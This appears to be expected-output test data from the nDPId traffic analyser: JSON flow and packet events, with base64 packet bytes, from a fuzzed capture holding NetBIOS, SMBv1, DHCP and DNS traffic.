+00568{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":464,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":177,"flow_packet_id":1,"flow_first_seen":1120470657808,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":465,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1120470657808,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.184.189.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":178,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470657,"pkt_ts_usec":808829,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMAAAIARWWbAuL0pwKgB\/wCJAIkAOmgjkU8BEAABAAAAAAAAIEZIRVBGQ0VMRUh2Q0VQRkZGQUNBQ0FDQUNBQ0FDQUJMAAAgAAE="} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":465,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1120470657808,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.184.189.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":466,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1120470658556,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":179,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470658,"pkt_ts_usec":556995,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMEAAIARWWXAqAEpwKgB\/wCJAIkAOmgjkU8BEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0ElcwBMAAAgAAE="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":466,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1120470658556,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":467,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1120470659308,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"107.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":180,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470659,"pkt_ts_usec":308076,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMIAAIARWWTAqAEpa6gB\/wCJAIkAOmgjkU8BEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJMAAAgAAE="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":467,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1120470659308,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"107.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00650{"flow_id":177,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470662,"pkt_ts_usec":62077,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAADKXMMAAIARWOfAqAEpwKgB\/wCKAIqWtl+uEQKRUMCoASkAigCgAAAgRU1FQkVDREJEQkRCQ0FDQUNBQ0FDQUNBMEFDQUNBQUEAIEZIRVBGQ0dMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAABgAAAAAAAAAAAOgDAAAAAAAAAAAGAFYAAwABAAEAQgAXAFxNQUlMU7xPVFxCUk9XU0UACQTYAAAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":469,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1120470662062,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"115.0.1.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":181,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470662,"pkt_ts_usec":62211,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMQAAIARWSVzAAEpwKgB\/wCJAIkAOmggkVIBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJTAAAgAAE="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":469,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1120470662062,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"115.0.1.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00484{"flow_id":179,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470662,"pkt_ts_usec":812917,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMUAAIARWWHAqAEpwKgB\/wCJAIkAOGggkVIBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUM1Q0FDQUNBQ0FDQUJMAAAgAAE="} +00484{"flow_id":179,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470663,"pkt_ts_usec":563918,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMYAAIARWWDAqAEpwKgB\/wCJAIkAOmggkVIBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJMAAAgAAE="} +00651{"flow_id":177,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470666,"pkt_ts_usec":317940,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAADKXMcAAIARWOPAqAEpwKgB\/wCKAIoAtl+rEQKRU8CoASkAigCgAAAgRU1FQkVDREJEQkRCQ0FDQUNBQ0FDQUNBQ0FDQUNBQUEQIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAABMAAAAAAAAAAAAEQAABgAAQAAAAAAAAOgDAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQTYAM8A"} +00482{"flow_id":179,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470666,"pkt_ts_usec":318071,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/8lcwCXD+5yCABFAABOXMgAAIARWV7AqAEpwKgB\/wCJAIkAOmgdkVUBEAABAAAAAAAAIEZIRVBGZkVIRUhGQ0VQRkZGQUNBQ0xDJXMAQ0FDQUJMAAAgAAE="} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":474,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470667,"pkt_ts_usec":69086,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAFJOXMkAAIARWV3A6AEpwKgB\/wCJAIkAOmgdkVUBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJMAAAgAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":474,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":58} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":475,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1120470659308,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"107.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":475,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1120470662062,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"115.0.1.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":475,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1120470657808,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.184.189.41","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":475,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":5,"flow_first_seen":1120470049190,"flow_last_seen":1120470058198,"flow_tot_l4_data_len":260,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2748,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":179,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470667,"pkt_ts_usec":819828,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMoAAIARWVzAqAEpwKgB\/wCJAIkAOmgfkVUBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJMAAAgAAE="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":476,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1120470670573,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.37.115","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":182,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470670,"pkt_ts_usec":573723,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFEABOXMsAAIARWVvAqAEpwKglcwCJAIkAOmUbkVcBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAAAgAAE="} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":476,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1120470670573,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.37.115","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00484{"flow_id":179,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470671,"pkt_ts_usec":324691,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGCXD+5yCABFAABOXMwAAIARWVrAqAEpwKgB\/wCJAIkAOmUbkVcBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJvAAAgAAE="} +00483{"flow_id":179,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470672,"pkt_ts_usec":75726,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AGKXD+5yCABFAABOXM0AAIARWVnAqAEpwKgB\/wCJAIkAOmUbkVcBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAAAgAAE="} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":479,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1120470670573,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.41","dst_ip":"192.168.37.115","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":479,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":4,"flow_first_seen":1120470066293,"flow_last_seen":1120470075303,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2750,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":480,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1120470684859,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_id":183,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470684,"pkt_ts_usec":859655,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa4UAAIARSsjAqAECwKiqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":481,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1120470685610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":184,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470685,"pkt_ts_usec":610738,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtA269CABFAABOa4YAAIARTsfAqAECyKgB\/wCJAIkAOltWhUUBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00520{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":481,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1120470685610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":482,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1120470685610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":482,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":3,"flow_first_seen":1120470083310,"flow_last_seen":1120470088311,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2752,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":482,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":2,"flow_first_seen":1120470100319,"flow_last_seen":1120470100321,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2753,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":482,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":12,"flow_first_seen":1120470049696,"flow_last_seen":1120470116279,"flow_tot_l4_data_len":6183,"flow_min_l4_data_len":383,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":515,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":482,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1120470684859,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":482,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":1120470684859,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":484,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1120470717078,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00811{"flow_id":185,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470717,"pkt_ts_usec":78746,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"ADBUADRWAODtAW69CABFAAFIa4cAAIARSsrAqAECwKgBAQBEAEMBNA+RAQEGAAZtDDgAAAAAwKgBAgAAAAAAAAAAAAAAAN\/g7QFuvQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUAAAAAAAAAAAAAAAAAAAAAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANABjglNjNQEDPQcBAODtAW69DAdkMDAyNDY1UQsAAABkMDAyNDY1LjwITVNGVCA1LjA3CgEPAwYsLi8fISv\/AAAA"} +00571{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":484,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1120470717078,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,15,3,6,44,46,47,31,33,43"}} 